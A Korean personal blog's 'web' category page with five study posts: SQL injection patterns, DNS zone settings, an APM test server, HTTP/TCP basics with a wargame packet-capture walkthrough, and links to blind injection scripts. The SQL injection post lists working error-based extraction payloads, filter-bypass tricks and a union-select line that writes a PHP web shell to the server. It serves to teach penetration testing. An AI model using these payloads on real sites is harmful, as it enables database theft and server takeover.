Be myself :: 'web' 카테고리의 글 목록

달력

32024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

'web'에 해당되는 글 5건

  1. 2014.12.03 blind injection tool
  2. 2014.11.27 Sqli 기본 패턴
  3. 2014.11.25 DNS서버 zone 설정
  4. 2014.07.20 test page 만들기
  5. 2014.05.04 웹 기본 프로토콜

blind injection tool

web 2014. 12. 3. 20:59

<Get 방식>

blindinjection.py


<POST 방식>


post.py


'web' 카테고리의 다른 글

Sqli 기본 패턴  (0) 2014.11.27
DNS서버 zone 설정  (0) 2014.11.25
test page 만들기  (0) 2014.07.20
웹 기본 프로토콜  (0) 2014.05.04
Posted by flack3r
|

Sqli 기본 패턴

web 2014. 11. 27. 18:03

SQLi 패턴 정리

 

1 sqli의 큰 흐름
1-1 파라미터의 타입 결정

일단 sql관련 공격은 보통 처음에 예를 들어 select * from table where id=3 에서 3이 싱글쿼터로 감싸져 있느냐, 더블쿼터이냐 ( ) 안에 있냐 등을 먼저 알아본다. 그 방법은 총 세가지로 나뉜다.

1) 에러 출력 -> 싱글쿼터나 더블쿼터 혹은 \ 등을 입력하여 오류출력을 시도하고 오류를 출력한다면, 쿼리가 어떻게 구성되어서 sql서버로 날아가는지 쉽게 알 수 있다.
2) and 연산자 이용 -> 일종의 블라인드 인젝션인데 (id=1' and 1=0 ) 등을 입력하여 정상출력과 비정상출력을 확인하여 쿼리를 예측한다. 처음에 1=0을 입력해서 여러 가지 시도하다 어느 순간 아무것도 보이지 않는다면, 그 파라미터 타입이 맞는 것이므로 이 때부터 공격방향을 정해 공격하면 된다.
3) sleep 이용 -> 이것 또한 일종의 블라인드 인젝션인데 id=1' and sleep(5) 이런식으로 쿼리를 날려서 sleep한다면, 그것이 맞는 것이므로 공격 ㄱㄱ~

1-2 공격방법 결정

공격방법 또한 3가지로 나뉘어 진다.

  1. 에러기반 공격
  2. Union all select 등을 기반으로 다양한 서브쿼리들 혹은 내장함수 이용
  3. 블라인드 인젝션 -> time based, 혹은 ascii, substr, binascii 등 내장함수 이용

2. 파라미터 타입 결정
2-1 에러기반으로 쿼리 예상하기(에러가 뜰 경우)

2-2 에러가 뜨지 않는다면 블라인드 인젝션 식으로 and연산자등을 이용해 쿼리를 추측한다.

3. 에러기반 공격

에러기반으로 테이블이나 각종 데이터베이스 정보를 유출한다.

1. Having 과 group by로 필드 알아내기
select * from test where id ='1' having 1=1# (오류)
select sum(5), concat(111,222,floor(rand(0)*2)) as a from information_schema.tables group by a
select * from test where id = '1' group by test.id having 1=1#(정상출력)

1-1 데이터베이스 버전 정보 유출
select * from test where id = '1' or 1 group by concat(0x3a,version(),floor(rand(0)*2)) having min(0)#

1-2 데이터베이스 이름 유출
select * from users where id='' or (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#;

1-3 테이블 유출
and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

1-4 칼럼네임 유출
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

1-5 데이터 유출
and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from Databasename.TABLENAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2. Convert를 통해 정보유출
select * from test where id=1 and '1'=convert(int,(select top 1 table_name from information_schema.tables))# 이렇게 해서 test란 테이블이 나온 후 다음과 같이 입력한다. select * from test where id=1 and '1'=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('test')))#

4. union select

기본 단계) order by나 union all select null을 늘려가며 필드 수 확인

단계 1-1) 현재 데이터베이스확인

단계 1-2) 테이블 뽑기

단계 1-3) 칼럼 뽑기

    ---------------------------------------------------------------------------------------------------------

단계 2-1) 서버의 파일 읽기

    

    ---------------------------------------------------------------------------------------------------------

단계 3-1) 웹쉘 올리기

    id=50") union all select null,'<?php system($_GET[\'input\']); ?>',null into outfile '/var/www/hack.php'%23

5. blind injection

Ascii, substr, if문 등을 이용해 한 글자씩 따온다.

6. 각종 우회기법

6-1 특정 키워드나 스트링이 막힌 경우 막혔다면
%00이나 /**/, '%0d' 등으로 우회 시도해본다. 예를 들어 admin자체가 막혔다면 admi'%0d'n으로 우회한다. 혹은 like도 사용 가능하다.

6-2 주석이 막혔을 경우
#이나 –가 막혔을 경우 %23이나 ;%00 /* 등을 시도해 보자.

6.3 싱글쿼터
싱글쿼터가 막혀 문자열을 사용할 수 없다면 0x 나 36진수를 이용해 select conv(10,10,36)='A' 이런식으로 우회한다. 혹은 내장함수를 이용해 가젯처럼 추출해 우회할 수 있다.
select substr(monthname(from_unixtime(1)),2,1)='a' // monthname(from_unixtime(1)) = 'January'

6.4 숫자
숫자가 막혔다면 auto type cast를 이용한다. false = 0, true = 1, true+true = 2

6.5 blind injection시 substr이 막혔을 경우
like를 이용한다. Ex)
select id from member where id like 'a%'
혹은 left나 right, mid, lpad, rpad, reverse등의 내장함수를 적극 활용한다.

6.6 if함수 필터링시
case()나 ifnull(), nullif()로 우회한다.

6.9 information_schema select 등 우회
procedure analyse()
함수로 우회된다.

참고 - http://hackerschool.org/Sub_Html/HS_Posting/?uid=43, "웹 모의해킹 및 시큐어코딩 진단가이드"등 각종 사이트들..

'web' 카테고리의 다른 글

blind injection tool  (0) 2014.12.03
DNS서버 zone 설정  (0) 2014.11.25
test page 만들기  (0) 2014.07.20
웹 기본 프로토콜  (0) 2014.05.04
Posted by flack3r
|

DNS서버 zone 설정

web 2014. 11. 25. 12:31

출처: http://ricky840.tistory.com/10

Zone 파일 내용은 보통 아래와 같이 사용합니다.

$TTL 86400

@ IN SOA dns.yongbok.net. ruo91.yongbok.net. (

   2009111614 ; Serial

   604800 ; Refresh

   86400 ; Retry

   2419200 ; Expire

   86400 ) ; Minimum

@ IN NS dns.yongbok.net.

@ IN NS dns2.yongbok.net.

;

   MX 10 mail.yongbok.net.

   MX 20 mail2.yongbok.net.

   MX 30 mail3.yongbok.net.

   MX 40 mail4.yongbok.net.

   MX 50 mail5.yongbok.net.

;

   A 124.51.213.64

www A 124.51.213.64

ftp A 124.51.213.64

ruo91 A 124.51.213.64

;

; CNAME

www2 IN CNAME www

nate.yongbok.net. IN CNAME www.nate.com.

1. SOA 레코드 (Start Of Authority)

이 SOA 레코드는 해당 도메인에 대해서 네임서버가 인증된 데이타를 가지고 있음을 의미하며 해당도메인에 대해 네임서버가 최적의 상태를 유지할 수 있도록 해주고 SOA 레코드의 앞에는 @ 를 보통 많이 쓰게 합니다.

@ IN SOA dns.yongbok.net. ruo91.yongbok.net. (

SOA레코드 뒤에 괄호로 묵은 부분에는 Serial, Refresh, Retry, Expire, Minimum 5개의 시간 필드가 놓입니다.

Minimum을 제외한 나머지 필드는 Secondary를 제어하기 위한 필드이며 초 단위가 기본입니다.

2009111614 ; Serial

604800 ; Refresh

86400 ; Retry

2419200 ; Expire

86400 ) ; Minimum

- Serial

2차 네임서버가 Zone 파일의 수정여부를 알 수 있도록 하기 위한 옵션입니다.

1차 네임서버와 2차 네임서버를 운영중 일때 1차 네임서버의 Zone 파일의 내용이 변경 되면 반드시 Serial 를 증가 시켜줘야 2차 네임서버가 자신의 현재 Serial 를 비교하여 값이 작다면 Zone 파일의 정보를 갱신을 하게 됩니다. 2차 네임서버를 사용하지 않는다면 Serial 은 의미가 없습니다.

- Refresh

1차 네임서버의 Zone 파일 수정 여부를 2차 네임서버가 검사를 하기위한 옵션입니다.

Zone 파일의 정보 변경이 잦을 경우 이 주기를 10800(3H)이하로 맞추어주는 것이 효과적이며 일반적으로는 43200(12H)정도가 적당합니다.

- Retry

2차 네임서버에서 1차 네임서버로 연결이 되지 않을 경우 재접속을 요구하는 옵션입니다.

Refresh 보다 적어야만 의미가 있기 때문에 주의를 요합니다.

- Expire

Secondary가 Expire에서 지정한 시간동안 primay에 연결하지 못 할 경우, 해당 도메인이 유효하지 않다고 보고, 해당 도메인에 대한 정보를 전송하지 않는 것 입니다.

이 값은 너무 낮게 설정하지 않는 것이 좋습니다.

- Minimum

제 3의 네임서버.. 즉, 다른 네임서버가 본 서버의 Zone 파일의 정보를 가지고 갔을 경우 그 정보에 대해 캐쉬에 살아있는 시간을 설정하는 것입니다. TTL(Time To Live )값이 명시되지 않은 레코드는 본 값을 기본으로 갖게되며 특정 레코드가 변경이 되었을 때, 이것이 다른 네임서버로 정보가 전달되어 업데이트가 되는 주기는 Minimum의 값을 기본으로 합니다. 일반적으로 10800(3H)가 적당합니다.

2. NS 레코드(Name Server)

DNS 서버로 사용할 도메인을 설정을 하게 해줍니다.

@ IN NS dns.yongbok.net.

@ IN NS dns2.yongbok.net.

위는 NS레코드의 기본적인 설정 내용이며 2개이상의 네임서버를 사용하고자 할때에는 아래와 같이 계속 늘려주기만 하면 됩니다.

@ IN NS dns.yongbok.net.

@ IN NS dns2.yongbok.net.

@ IN NS dns3.yongbok.net.

@ IN NS dns4.yongbok.net.

@ IN NS dns5.yongbok.net.

DNS 서버를 여러개 사용할 경우 A 레코드를 사용하여 RR(Round Robin) 방식을 사용해야 합니다.

3. A 레코드(Address)

A 레코드는 해당 도메인에 IP를 부여할수 있습니다.

   A 124.51.213.64

www A 124.51.213.64

ftp A 124.51.213.64

ruo91 A 124.51.213.64

NS에서 설정한 도메인은 모두 A레코드로 설정해야 제대로 작동이 가능합니다.

위의 NS 레코드에서 여러개의 도메인 서버를 사용하고자 할때에는 A 레코드로 RR(Round Robin)을 설정 합니다.

@ IN NS dns.yongbok.net.

@ IN NS dns2.yongbok.net.

@ IN NS dns3.yongbok.net.

@ IN NS dns4.yongbok.net.

@ IN NS dns5.yongbok.net.

즉, 위와 같은 DNS 서버를 5개 사용할 경우 A 레코드에는 해당 서버의 아이피를 부여 해주셔야 합니다.

dns A 124.51.213.64

dns2 A 124.51.213.65

dns3 A 124.51.213.66

dns4 A 124.51.213.67

dns5 A 124.51.213.68

예를 들자면.. 네이버의 경우 웹서버를 RR(Round Robin)을 이용하여 분산처리를 한듯합니다.

nslookup 으로 확인 해보면 아래와 같이 RR 을 사용한것을 볼수 있네요.

[root@yongbok ~]# nslookup naver.com

Server: 168.126.63.1

Address: 168.126.63.1#53

Non-authoritative answer:

Name: naver.com

Address: 202.131.29.70

Name: naver.com

Address: 202.131.29.71

Name: naver.com

Address: 222.122.195.5

Name: naver.com

Address: 222.122.195.6

4. CNAME 레코드(Canonical Name)

다른 도메인으로 알리아스(Alias)를 시킬 때 사용하는 레코더 입니다.

www2 IN CNAME www

nate.yongbok.net. IN CNAME www.nate.com.

www2 로 접속을 하면 www.yongbok.net 으로 맵핑 되어 버립니다.

또 nate.yongbok.net 로 접속을 하면 www.nate.com 으로 맵핑이 되어 버립니다.

확인을 위해 예를 들자면.. 한국의 구글의 co.kr 도메인은 .com 으로 연결되게 CNAME 이 걸려 있고

구글의 .com 도메인은 www.l.google.com 도메인으로 CNAME 이 걸려 있네요..

[root@yongbok ~]# nslookup www.google.co.kr

Server: 168.126.63.1

Address: 168.126.63.1#53

Non-authoritative answer:

www.google.co.kr canonical name = www.google.com.

www.google.com canonical name = www.l.google.com.

Name: www.l.google.com

Address: 74.125.53.106

Name: www.l.google.com

Address: 74.125.53.147

Name: www.l.google.com

Address: 74.125.53.99

Name: www.l.google.com

Address: 74.125.53.103

Name: www.l.google.com

Address: 74.125.53.104

Name: www.l.google.com

Address: 74.125.53.105

5. MX 레코드(Mail eXchanger)

MX레코더는 해당 호스트의 메일 라우팅 경로를 조절하는 레코더 이며 메일을 사용하기 위해서는 필수로 설정을 해주어야 합니다.

MX 10 mail.yongbok.net.

MX 20 mail2.yongbok.net.

MX 30 mail3.yongbok.net.

MX 40 mail4.yongbok.net.

MX 50 mail5.yongbok.net.

위와 같이 메일서버의 순서를 정하며 각각의 메일 서버는 A 레코드로 메일 서버의 아이피를 부여 해주셔야 합니다.

여기서 주의할 점은 CNAME로 설정한 정보는 아래와 같이 MX레코드에 사용해서는 않됩니다.

mail.yongbok.net. IN CNAME dns.yongbok.net.

@ IN MX 10 mail.yongbok.net.

이렇게 사용하게 되면 메일이 도착하지 않을 가능성이 크기 때문에 주의를 요합니다.

6. PTR 레코드(Pointer)

PTR 레코드는 A 레코드와 상반된 개념입니다. 즉, A 레코드는 도메인에 대하여 아이피를 부여 해줬지만 PTR 레코드는 IP주소에 대해 도메인명을 매핑하여 주는 역할을 합니다. 보통 Reverse Zone 파일에서 사용을 합니다.

; Revers Domain Zone File

$TTL 86400

;

; SOA 레코드 추가

@ IN SOA dns.yongbok.net. ruo91.yongbok.net. (

;

   2009111614; ; Serial

   604800 ; Refresh

   86400 ; Retry

   2419200 ; Expire

   86400 ) ; Minimum

; 네임 서버로 지정

@ IN NS dns.yongbok.net.

;

5 PTR yongbok.net

5 PTR www.yongbok.net

5 PTR ftp.yongbok.net

5 PTR ruo91.yongbok.net

'web' 카테고리의 다른 글

blind injection tool  (0) 2014.12.03
Sqli 기본 패턴  (0) 2014.11.27
test page 만들기  (0) 2014.07.20
웹 기본 프로토콜  (0) 2014.05.04
Posted by flack3r
|

test page 만들기

web 2014. 7. 20. 23:12

APM설치

APM은 Apache, php, mySQL을 묶어서 이야기를 한다. 여기서 Apache는 웹서버, php는 웹언어, mySQL은 데이터베이스 이다. 여기서 웹 서버에 대한 이해와 데이터베이스 등에 대한 이해를 가지지 못한 사람들이 있을 것이다. '서버'에 관한 이해는 소켓프로그래밍을 해 보았다면 이해하기 쉬울 것이다. '웹 서버'도 서비스에 의해 작동되는 프로그램에 지나지 않는다. '데이터 베이스'는 예를 들어 회원정보나 물품목록 등의 데이터를 체계적으로 관리하기 위한 프로그램이다.
다운로드는 http://www.apmsetup.com/download.php 에서 받을 수 있다.

(APMSETUP 설치화면)

여기서 C:/APM_Setup/htdocs디렉터리에 원하는 html파일이나 .jsp등의 파일을 넣어 홈페이지를 만들면 된다.

MySQL을 설정하는 방법은 http://127.0.0.1/myadmin에 들어가서 설정한다.

설치직후 기본 ID/PW는 root/apmsetup이다.

테스트 페이지 만들기

이제 APM구축이 되었다면, 간단하게 test페이지를 다음과 같이 메모장으로 만들어 C:\APM_Setup\htdocs에 넣은 후 127.0.0.1/test.php 주소를 쳐 확인한다.

'web' 카테고리의 다른 글

blind injection tool  (0) 2014.12.03
Sqli 기본 패턴  (0) 2014.11.27
DNS서버 zone 설정  (0) 2014.11.25
웹 기본 프로토콜  (0) 2014.05.04
Posted by flack3r
|

웹 기본 프로토콜

web 2014. 5. 4. 01:50

*네이버 블로그에서 쓴 글을 옮기다 보니 그림이 자꾸 깨지네요.. 뭐 일일이 그림 다시 올릴순 있는데 귀찮으니.. 궁금한 사람들은 http://blog.naver.com/rladudwls321/100209246473에서 보시길. 

 


개요

인터넷의 기반이되는 tcp의 3way-hands shaking 의 방식과 http의 프로토콜 작동원리를 파악하고, 관련 워게임을 풀어 보면서 기반을 다져보자. 


테스트 환경 (해당 될시에만)

 

 운영 체제 (OS) : Kali linux

 


 

상세 분석

HTTP(Hypertext Transfer Protocol) 프로토콜은 인터넷상에서 데이터를 주고 받기 위한 서버/클라이언트의  어플리케이션 기반의 프로토콜이다. Tcp/ip 위에서 동작한다.  따라서 http프로토콜을 제대로 알기 위해선 tcp 의 동작 원리를 알아야 한다. 지금부터 tcp동작 원리에 대해 파악해 보자.

 

 

 

 

위 그림은 tcp의 3way handshake과정을 보인다. 참고라 tcp통신과정은 4계층(세션 계층)위에서 일어나는 과정이다. 처음에 클라이언트 가 서버로 seq 값과 함께 SYN 패킷을 보낸다. 그럼 서버는 정상적으로 패킷을 잘 받았다며 SYN패킷과 ACK패킷을 클라이언트가 준 seq값+1(그림에서 1201), 자신이 설정한 seq값(그림에서 4800)과 함께 클라이언트에게 보낸다. 그 이후 클라이언트는 또 서버의 값을 잘 받았다며 seq값을 1 더한 후 ACK패킷과 함께 서버에 보낸다. 글로 표현하니 쫌 복잡하지만, 그림과 함께 이해한다면 그다지 어려운 개념은 아니다.

 

그렇다면 이러한 프로토콜 위에 HTTP프로토콜은 어떻게 동작하는가? 

간단하다. 클라이언트에서 서버로 request요청을 하고 서버는 클라이언트에 대한 반응으로 response 할 뿐이다. 

 

 

좀 더 자세히 설명하자면, 브라우저로 구글의 index페이지를 구글서버로 요청을 하고, 구글의 서버는 브라우저로 구글 페이지를 전송해 준다. 그리고 관련 이미지등이 페이지에 링크되어 있으면 브라우저는 구글서버에 이미지 파일을 요청하게 되고 구글은 파일이 있으면 전송해 준다. 

 

이 때, HTTP방식은 connectless 방식으로 동작하는데 이 방식은 서버에 연결하고, 요청한 응답을 받으면 연결은 끊는 방식이다. 이러한 특징을 stateless라 한다. 이 방식의 장점은 1서버를 여러 클라이언트가 이용할 가능성이 늘어나는 것이다. 서버도 하나의 제한된 자원이기 때문에, 서버에 요청이 많아지면 제한된 요청 외의 것은 응답을 받지 못한다. 단점은, 예를들어 로그인 문제를 들면 앞서 로그인을 했는데 응답을 끊고 연결하면 세션을 유지할 수 없는 문제가 생긴다. 따라서 이러한 단점을 쿠키 등을 이용해 해결하고 있다. 

 

HTTP프로토콜에서 클라이언트가 Request하는 방식은 여러가지가 있다. 요청 데이터는 헤더부분과 바디부분으로 구성된다.

  GET : 정보를 요청하기 위해 사용하는데 관련 인자들의 값이 URL에서 보여 보안상 취약하다.

  POST : GET방식과 달리 데이터의 바디부분에 인자값들이 전달되어 서버에 데이터를 요청하게 된다.

  PUT : 정보를 업데이트하기 위해서 사용한다. 

  DELETE : 정보를 삭제하기 위해서 사용한다. 

  HEAD : (HTTP)헤더 정보만 요청한다. 해당 자원이 존재하는지 혹은 서버에 문제가 없는지를 확인하기 위해서 사용한다. 

  등이 있다.


이러한 개념들을 워게임을 통해 확인하자. http://www.suninatas.com/ 의 16번 문제이다.




suninatas의 멤버를 위해 패스워드를 찾아 달라는 문제다.

다운로드한 파일은 .pcap파일이다. 이것은 네트워크패킷을 잡은 파일이다. 아마 SuNiNaTaS 멤버가 로그인을 시도한 패킷을 잡은것이라 짐작된다. 따라서 문제의 해결책은, 패킷 분석툴로 패킷을 분석하여 GET또는 POST로 서버에 로그인을 요청하는 부분을 잡아내고 패스워드와 아이디를 획득한 다음 키값을 얻으면 될것 같다.  패킷 분석툴은 여러가지가 있겠지만 필자는 WireShark로 덤프해 보겠다. 

 

파일을 오픈한 화면이다. 로그인한 패킷을 확인해야 하므로 tcp위에 작동하는 프로토콜을 포면 된다. 따라서 analyze-displayfilter-tcp 를 선택한다. 

 

 

빨간색 테투리 안을 보면 위에서 보았던 tcp 3-wayhandshake과정이 그대로 나타나 있다. 이제 서버에 로그인을 요청하는 GET또는 POST부분을 찾아 보자.

 

 

사진에서 보이듯이, /member/mem_action.asp 에 POST요청을 하고, 그 데이터의 body 부분에 id와 pass워드 값이 써져 있다. 좀 더 살펴보면 여러번의 로그인 시도가 있음을 확인 할 수 있고 그때마다 로그인 요청을한 id와 pass값을 이용하여 key값을 획득하면 되는 문제다.  풀이 방법을 설명하였으니 나머지는 직접 풀어보기 바란다.



'web' 카테고리의 다른 글

blind injection tool  (0) 2014.12.03
Sqli 기본 패턴  (0) 2014.11.27
DNS서버 zone 설정  (0) 2014.11.25
test page 만들기  (0) 2014.07.20
Posted by flack3r
|